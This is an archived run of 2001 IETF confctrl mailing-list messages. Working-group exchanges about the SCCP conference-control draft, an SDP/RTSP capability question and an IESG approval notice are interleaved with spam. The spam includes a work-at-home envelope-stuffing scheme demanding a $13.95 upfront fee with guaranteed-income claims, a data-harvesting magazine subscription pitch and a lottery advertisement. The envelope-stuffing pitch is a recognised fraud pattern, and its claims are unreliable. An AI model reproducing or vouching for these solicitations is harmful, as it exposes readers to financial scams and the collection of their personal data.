part of the Internet Multimedia Conferencing Architecture, proposed
in [1].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sccp-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sccp-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sccp-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

From confctrl-owner  Sat Mar 10 13:21:19 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA00886
	for confctrl-outgoing; Sat, 10 Mar 2001 13:21:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA00881
	for <confctrl@zephyr.isi.edu>; Sat, 10 Mar 2001 13:21:17 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2ALLGq16764
	for <confctrl@ISI.EDU>; Sat, 10 Mar 2001 13:21:16 -0800 (PST)
Received: from duennmann.tzi.org.informatik.uni-bremen.de (rasen.informatik.uni-bremen.de [134.102.218.99])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f2ALLBn13365;
	Sat, 10 Mar 2001 22:21:12 +0100 (MET)
To: Heil Franca Marcelo ICM N MC MI E 73 <Marcelo.HeilFranca@icn.siemens.de>
Cc: "'cabo@tzi.org'" <cabo@tzi.org>, confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
References: <EB2D9281A815D31181DA0001FA7E2E188CE52D@mchh157e.mch.pn.siemens.de>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 10 Mar 2001 22:21:40 +0100
In-Reply-To: Heil Franca Marcelo  ICM N MC MI E 73's message of "Fri, 9 Mar 2001 18:43:40 +0100"
Message-ID: <m3n1at721n.fsf@duennmann.tzi.org>
Lines: 36
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Marcelo" == Heil Franca Marcelo ICM N MC MI E 73 <Marcelo.HeilFranca@icn.siemens.de> writes:

    Marcelo> Carsten, I see SCCP as an interesting option for
    Marcelo> tighly-coupled conference control in the context of the
    Marcelo> internet multimedia conference architecture and would
    Marcelo> like to support it. Could you please give me some
    Marcelo> background information on the history of SCCP?

    Marcelo> There seems to be no specific statement to it in the
    Marcelo> MMUSIC WG charter and I have not seen any directly
    Marcelo> related discussions in the mailing list in the past
    Marcelo> weeks. Also the recently expired
    Marcelo> draft-ietf-mmusic-confarch-03.txt makes references to a
    Marcelo> SCCP internet-draft from 1996(!).

Marcelo,

right, draft-ietf-mmusic-sccp-00.txt has been submitted some years
ago. The motivation for re-submitting it is to re-initiate the
discussion on the subject (if there is any interest) and, first of
all, to define the required services for a conference course control
protocol.

The current version of the draft merely specifies services. We did not
advance the original protocol spec. because we thought that the
required features might be different than 5 years ago, now that
significant experiences with conference announcement, conference
initiation, local coordination, media transport and reliable multicast
have been gained.

For example, the SIP conferencing ideas that are emerging now should
probably be considered for the specification of a conference control
protocol.

-- 
	Dirk


From confctrl-owner  Sun Mar 11 01:28:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA02152
	for confctrl-outgoing; Sun, 11 Mar 2001 01:28:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA02140
	for <confctrl@zephyr.isi.edu>; Sun, 11 Mar 2001 01:28:39 -0800 (PST)
Received: from flash7.flashmail.com (flash7.flashmail.com [207.173.216.249] (may be forged))
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2B9Saq00232;
	Sun, 11 Mar 2001 01:28:36 -0800 (PST)
Received: (from nobody@localhost)
	by flash7.flashmail.com (8.9.3/8.9.3) id BAA13835;
	Sun, 11 Mar 2001 01:23:25 -0800
From: xva39011@address.com
X-Authentication-Warning: flash7.flashmail.com: nobody set sender to xva39011@address.com using -f
To: xva39011@address.com
Subject: Please read.
Message-ID: <984302605.3aab440d9c31e@newmail.address.com>
Date: Sun, 11 Mar 2001 01:23:25 -0800 (PST)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 216.191.91.132
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

WOULD YOU STUFF
ENVELOPES FOR
$1,000'S WEEKLY?

$2 For Each Envelope You Stuff
SIMPLE, PLEASANT WORK YOU CAN DO AT HOME!!!

HELP SOLVE YOUR MONEY PROBLEMS.  No more worries over inflation, recession, 
bills, rising gasoline and other costs.  If you are looking for easy extra 
income, to relieve financial pressures, you owe it to yourself to investigate 
our offer.

HERE IS YOUR CHANCE to earn extra money working at home by becoming an active 
participant of our successful mailing association.  You receive cash daily for 
the envelopes you stuff.  There is no limit.  You stuff as many as you wish.

NO EXPERIENCE OR SPECIAL SKILLS REQUIRED.  Our HOMEMAILER'S PROGRAM is designed 
especially for people with little or no business experience and provides step-
by step instructions.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

WHY IS THIS POSSIBLE?
There are many mail-order companies who want to expand their business, but do 
not want to hire more people.  If they hired more employees, they would have to 
supervise them, rent more office space, pay more taxes and insurance, all 
involving more paperwork.  It is much easier for them to set it up so that 
independent homeworkers can earn money doing the work themselves.

This program is designed to help people cash in with a company who needs 
homeworkers.  Each member is an independent homeworker. You serve a company 
that pays good commissions to have their circulars mailed.  This program has 
been perfected so that it has become one of the most successful and profitable 
ones ever.

We invite you to take part in our success.  The money you earn is up to you.  
We do not require that you mail a certain number of pieces each week.  You can 
take on whatever amount of business that fits your schedule, and you can quit 
whenever you want, there are no obligations. This work mainly consists of the 
securing of envelopes.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You may work in the comfort of your own home, choose your own hours, and set 
your own pace.  No need to leave your present job.  The possibilities are 
unlimited - get the whole family to join in.  Form workshops with your 
friends.  We will further show you how to expand your operation and boost your 
new income as high as you wish to go.

NOW, IT'S ALL UP TO YOU!
The opportunity for the better life is here - it's waiting!  But only YOU can 
take that all-important step that separates the achievers from the dreamers!  
Order NOW!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

ALL BUSINESS can be done by MAIL and we give you complete assistance at every 
step to insure your success. You can START THE SAME DAY you receive the 
instructions and begin RECEIVING MONEY WITHIN TWO WEEKS and every week from 
then on, as long as you desire.

You will be supplied with the materials to be stuffed.  Envelopes will be 
already stamped and addressed.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

GUARANTEE:  We welcome you to this program and extend to you our unconditional 
guarantee that everything we have said about this program is true and that you 
will be delighted with the money you make.  Our goals and continued success 
depends on your 100% satisfaction with the HOMEMAILER'S PROGRAM.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

DON'T BE FOOLED
There are many fraudulent envelope addressing and chain letter schemes being 
sold today.  We recommend that you avoid them.  Why fool with some questionable 
scheme when our program enables you to earn so much money legally.  This is not 
an offer of employment.  It is an opportunity to become an independent 
commission mailer for our company. Remember, unlike the others, this is not a 
get-rich-quick scheme.  It is a proven program for making money while filling 
the needs of a company who need people to mail their circulars.

IN ORDER TO GET YOU STARTED IMMEDIATELY, we must require a one-time fee of only 
$13.95.  This covers our expense in showing you what to do and guarantees you 
can work with us as long as desired.  You will not be required or asked to pay 
for any additional information or manuals.  Inasmuch as we would like to send 
you our program with the small charge, we must protect ourselves from those who 
are not serious and have no intention other than to satisfy their own 
curiosity.  Naturally, no business can afford to send out material to everyone 
who writes in asking for it.  This small charge assures us that you are serious 
about wanting to earn money at home.

DON'T DELAY - START IMMEDIATELY!!!
This is money.  You can begin now by putting your time to the best of use. The 
next few minutes can literally change your life.  Don't let this extraordinary 
opportunity pass.

YOUR REGISTRATION FEE REFUNDED
as soon as you submit your first 100 envelopes.

Send a check or money order in the amount of  $13.95 to:


X V A    International
11948,    207th Street, Suite 309
Maple Ridge, BC, Canada
V2X 1X7

Please include your name, address, phone number, and an email address.

Never send cash through the mail. 

XVA International is a licensed business operating in BC, Canada; license 
#14126.

Please allow 4 to 6 weeks for delivery of your starter kit.
 
This message is sent in compliance of the new e-mail bill: SECTION 301. Per 
Section 301, Paragraph (a)(2)(C) of S. 1618.  Further transmissions to you by 
the sender of this email may be stopped at no cost to you by sending a reply to 
this email with the word "remove" in the subject line.


---------------------------------------------------------------
Get Free Internet Access And WebEmail At http://www.address.com

From confctrl-owner  Sun Mar 11 19:03:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA24947
	for confctrl-outgoing; Sun, 11 Mar 2001 19:03:46 -0800 (PST)
Received: from harrier.prod.itd.earthlink.net (harrier.prod.itd.earthlink.net [207.217.121.12])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA24905
	for <confctrl@zephyr.isi.edu>; Sun, 11 Mar 2001 19:03:38 -0800 (PST)
From: b2www@myrealbox.com
Received: from myrealbox.com (1Cust156.tnt26.nyc3.da.uu.net [63.36.145.156])
	by harrier.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id AAA15048
	for <confctrl@zephyr.isi.edu>; Sun, 11 Mar 2001 00:47:37 -0800 (PST)
Date: Sun, 11 Mar 2001 03:47:31 -0500
Reply-To: tell.me.more@pobox.com
Message-ID: <B6D0A5D3.7DF1F1@[63.36.202.7]>
To: confctrl@ISI.EDU
Subject: ADV: ===>> FREE 1 yr. USA Magazine Sub sent worldwide-200+
	 Choices!  Up to $81.
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

With your first purchase of any size of any new or renewal subscription AT
OUR GUARANTEED LOWEST RATE (we BEAT all competitor's prices before you pay
us and will even go back 6 months later if you find a better deal and
refund you the difference!);  customers living overseas pay only for FPH
(foreign postage & handling) on the free subscription.

____________________________________________________________


FOR MORE INFO:

Just fill out the below form and return to us via email, with the subject
line of "TELL ME MORE" at:         

tell.me.more@pobox.com

____________________________________________________________

TO BE REMOVED FROM OUR LIST:

Just send a blank email message with the subject line of:  "REMOVE" from
the email address 
that you would like to have removed to:

tell.me.more@pobox.com

____________________________________________________________

Remove requests will be immediately honored and requests for more
information will be fulfilled within 24 hours.

____________________________________________________________


***For more information, IF YOU DO NOT GET A REPLY within 24 hours, or the
email bounces due to our servers being overloaded from those replying, or
if it bounces for any other reason, then just fax us at:

1-602-294-5643 in the USA

or write us via smail at:  or send via smail (first class mail or airmail)
to:    
                              Tempting Tear-Outs / Att.
Free-catalogue-by-email Dept
                               PMB 200
                               3835 Richmond Ave.  
                               Staten Island NY  10312-3828
                               USA


____________________________________________________________




When replying for more information, your subject line must say "TELL ME
MORE" and the body of your message must include only this form, completely
filled out*:

(*If you can't figure out how to cut and past this text, just type it out
in the same format):


*------------cut here/begin-------------------------------------------*

***For more information, IF YOU DO NOT GET A REPLY within 24 hours, or the
email bounces due to our servers being overloaded from those replying, or
if it bounces for any other reason, then just fax us at:

1-602-294-5643 in the USA

Yes, please send me more info.  I realize I am not committing myself to
buying
anything at this time and I would just like more info on the offer and a
FREE copy of your magazine subscription catalogue.  Here are my details:

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs     
031001-ls

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the
mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of 
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a 
     single email message, 712K in size.  If you use pine or elm on a unix 
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.   
     However, if your software limits incoming email messages to a      
     certain size, say 32K or so, then your software will split it into 
     multiple email message parts.   Whether you receive it as a single 
     email message or multiple part email messages, you can easily 
     paste it into one whole text document with your word processor, in 
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file 
     ~712K - you must know how to download an attached text file and 
     then be able to locate it on your hard drive or system home 
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for 
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around 
     within the catalogue with your word processing software, if your 
     normal email reading software doesn't allow this.



WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

 
MORE ABOUT THE COMPANY MAKING THE FREE OFFER AND THE FREE OFFER ITSELF:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
ANY country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The 
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $81.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?  

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!   

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply email, fax or smail back to us the reply form listed at the top of
this message.   We will then forward your form on to the subscription
agency.  They will then email their "big and juicy" catalogue to you, in
whichever of the two formats you chose.   The catalogue is FREE and makes
for hours of fascinating reading, on its own. It includes the complete list
of freebies, a complete list of all the titles they sell, as well as
detailed descriptions on most of the titles, along with lists of titles by
category of interest and their terms of sale.    

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on marketing & consulting rates, please write us on your
company letterhead, w/business card, via smail to:   Tempting Tear-Outs,
3835 Richmond Ave. #200, Staten Island NY  10312-3828, USA.    

This email message has been sent to you by:  Tempting Tear-Outs, 3835
Richmond Ave. #200, Staten Island NY  10312-3828, USA.


From confctrl-owner  Mon Mar 12 08:13:05 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA25289
	for confctrl-outgoing; Mon, 12 Mar 2001 08:13:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA25284
	for <confctrl@zephyr.isi.edu>; Mon, 12 Mar 2001 08:13:04 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2CGD3q21030
	for <confctrl@isi.edu>; Mon, 12 Mar 2001 08:13:03 -0800 (PST)
Received: from davir01nok.americas.nokia.com (davir01nok.americas.nokia.com [172.18.242.84])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f2CGEqw25545
	for <confctrl@isi.edu>; Mon, 12 Mar 2001 10:14:52 -0600 (CST)
Received: from daebh02nok.americas.nokia.com (unverified) by davir01nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T523ebe60e7ac12f254079@davir01nok.americas.nokia.com>;
 Mon, 12 Mar 2001 10:13:02 -0600
Received: by daebh02nok with Internet Mail Service (5.5.2652.78)
	id <GKSZ98ZR>; Mon, 12 Mar 2001 10:13:02 -0600
Message-ID: <B9CFA6CE8FFDD211A1FB0008C7894E4603654B59@bseis01nok>
From: Dirk.Trossen@nokia.com
To: Marcelo.HeilFranca@icn.siemens.de
Cc: confctrl@ISI.EDU
Subject: RE: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
Date: Mon, 12 Mar 2001 10:12:57 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

as Dirk K. already mentioned, the current draft addresses service issues
only.
The idea behind that is to find a consensus on the required services for
conference course control first. The second step will address mapping onto
specific transports, i.e., probably more than one mapping specification
will exist. 

BTW, the MMUSIC Charter webpage contains a specific statement concerning
SCCP and so does the Internet Multimedia Conferencing Architecture Draft
(if I recall this correctly). 

Regards


Dirk

> -----Original Message-----
> From: ext Dirk Kutscher [mailto:dku@informatik.uni-bremen.de]
> Sent: Saturday,March 10,2001 4:22 PM
> To: Heil Franca Marcelo ICM N MC MI E 73
> Cc: 'cabo@tzi.org'; confctrl@ISI.EDU
> Subject: Re: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
> 
> 
> >>>>> "Marcelo" == Heil Franca Marcelo ICM N MC MI E 73 
> <Marcelo.HeilFranca@icn.siemens.de> writes:
> 
>     Marcelo> Carsten, I see SCCP as an interesting option for
>     Marcelo> tighly-coupled conference control in the context of the
>     Marcelo> internet multimedia conference architecture and would
>     Marcelo> like to support it. Could you please give me some
>     Marcelo> background information on the history of SCCP?
> 
>     Marcelo> There seems to be no specific statement to it in the
>     Marcelo> MMUSIC WG charter and I have not seen any directly
>     Marcelo> related discussions in the mailing list in the past
>     Marcelo> weeks. Also the recently expired
>     Marcelo> draft-ietf-mmusic-confarch-03.txt makes references to a
>     Marcelo> SCCP internet-draft from 1996(!).
> 
> Marcelo,
> 
> right, draft-ietf-mmusic-sccp-00.txt has been submitted some years
> ago. The motivation for re-submitting it is to re-initiate the
> discussion on the subject (if there is any interest) and, first of
> all, to define the required services for a conference course control
> protocol.
> 
> The current version of the draft merely specifies services. We did not
> advance the original protocol spec. because we thought that the
> required features might be different than 5 years ago, now that
> significant experiences with conference announcement, conference
> initiation, local coordination, media transport and reliable multicast
> have been gained.
> 
> For example, the SIP conferencing ideas that are emerging now should
> probably be considered for the specification of a conference control
> protocol.
> 
> -- 
> 	Dirk
> 

From confctrl-owner  Tue Mar 13 11:09:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA02481
	for confctrl-outgoing; Tue, 13 Mar 2001 11:09:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA02476
	for <confctrl@zephyr.isi.edu>; Tue, 13 Mar 2001 11:09:21 -0800 (PST)
Received: from ns2.packetvideo.com (ns2.packetvideo.com [63.214.191.68])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2DJ9Iq02602
	for <confctrl@ISI.EDU>; Tue, 13 Mar 2001 11:09:19 -0800 (PST)
Received: from misty.packetvideo.com ([63.214.191.76])
	by ns2.packetvideo.com (8.9.3/8.9.3) with ESMTP id LAA70954;
	Tue, 13 Mar 2001 11:08:40 -0800 (PST)
	(envelope-from zeng@PacketVideo.com)
Received: by misty.packetvideo.com with Internet Mail Service (5.5.2653.19)
	id <15TXD8QW>; Tue, 13 Mar 2001 11:02:35 -0800
Message-ID: <72660A24B978D411BB8A00B0D03DFE01285187@misty.packetvideo.com>
From: Thomas Zeng <zeng@PacketVideo.COM>
To: "'Internet-Drafts@ietf.org'" <Internet-Drafts@ietf.org>
Cc: confctrl@ISI.EDU
Subject: RE: I-D ACTION:draft-ietf-mmusic-sdp-new-01.txt
Date: Tue, 13 Mar 2001 11:02:30 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear RTSP/SDP users:

I have a question regarding capability exchange using SDP: 
SDP-simcap serves as a language to describe capability sets, but how does
handshaking take place during
RTSP Setup?

Say server requires AMR-WB decoder in Setup response, but the player can
only support AMR-NB (Narrow Band),
how can player signal it to server? Using another SETUP request?

Regards,
thomas zeng
packetvideo,
zeng@pv.com

-----Original Message-----
From: Internet-Drafts@ietf.org [mailto:Internet-Drafts@ietf.org]
Sent: Thursday, March 08, 2001 3:59 AM
Cc: confctrl@ISI.EDU
Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-01.txt


A New Internet-Draft is available from the on-line Internet-Drafts
directories.
This draft is a work item of the Multiparty Multimedia Session Control
Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-01.txt
	Pages		: 35
	Date		: 07-Mar-01
	
This document defines the Session Description Protocol, SDP.
SDP is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

From confctrl-owner  Tue Mar 13 21:09:52 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA28132
	for confctrl-outgoing; Tue, 13 Mar 2001 21:09:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA28127
	for <confctrl@zephyr.isi.edu>; Tue, 13 Mar 2001 21:09:50 -0800 (PST)
Received: from pylon.dongmyung-m.ed.kyongbuk.kr ([210.96.24.60])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2E59iq18816
	for <confctrl@isi.edu>; Tue, 13 Mar 2001 21:09:48 -0800 (PST)
Received: from localhost.localdomain (localhost [127.0.0.1])
	by pylon.dongmyung-m.ed.kyongbuk.kr (8.9.3/8.9.3) with ESMTP id OAA16234
	for <confctrl@isi.edu>; Wed, 14 Mar 2001 14:01:56 +0900
Date: Wed, 14 Mar 2001 14:01:56 +0900
From: pr@hichina.com
Message-Id: <200103140501.OAA16234@pylon.dongmyung-m.ed.kyongbuk.kr>
Subject: Re: Your prize money
 Dear friend,
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

 We have got your name from the legal sources that make
 us think you enjoy gambling.
 Please allow us to present to you our FREE online
 lottery AQUALOTTO at http://www.aqualotto.com

 I wish you the very best of luck!

 Reseller ID - http://www.aqualotto.com/index.php3?id=BY-0065
 ------------------------------------------

 This is not a SPAM. You are receiving this because you are
 on a list of email addresses that I have purchased for marketing.
 And you have opted to receive information via email.
 If you did not opt in to receive information please accept my apology.
 To be REMOVED from this list simply reply with REMOVE as the subject line.

From confctrl-owner  Wed Mar 14 07:54:28 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA22224
	for confctrl-outgoing; Wed, 14 Mar 2001 07:54:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA22219
	for <confctrl@zephyr.isi.edu>; Wed, 14 Mar 2001 07:54:27 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2EFsOq05884;
	Wed, 14 Mar 2001 07:54:25 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26414;
	Wed, 14 Mar 2001 10:54:21 -0500 (EST)
Message-Id: <200103141554.KAA26414@ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>, IANA <iana@iana.org>
Cc: Internet Architecture Board <iab@ISI.EDU>
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
Subject: Protocol Action: Conventions for the use of the Session
	 Description Protocol (SDP)for ATM Bearer Connections to
	 Proposed Standard
Date: Wed, 14 Mar 2001 10:54:21 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft 'Conventions for the use of
the Session Description Protocol (SDP)for ATM Bearer Connections'
<draft-ietf-mmusic-sdp-atm-05.txt> as a Proposed Standard.  This
document is the product of the Multiparty Multimedia Session Control
Working Group.  The IESG contact persons are Allison Mankin and Scott
Bradner.

 
Technical Summary
 
 This document describes conventions for using the Session Description
 Protocol (SDP) described in RFC 2327 for controlling ATM Bearer
 Connections, and any associated ATM Adaptation Layer (AAL). The AALs
 addressed are Type 1, Type 2 and Type 5. This list of conventions is meant
 to be exhaustive. Individual applications can use subsets of these
 conventions. Further, these conventions are meant to comply strictly with
 the SDP syntax as defined in RFC 2327.

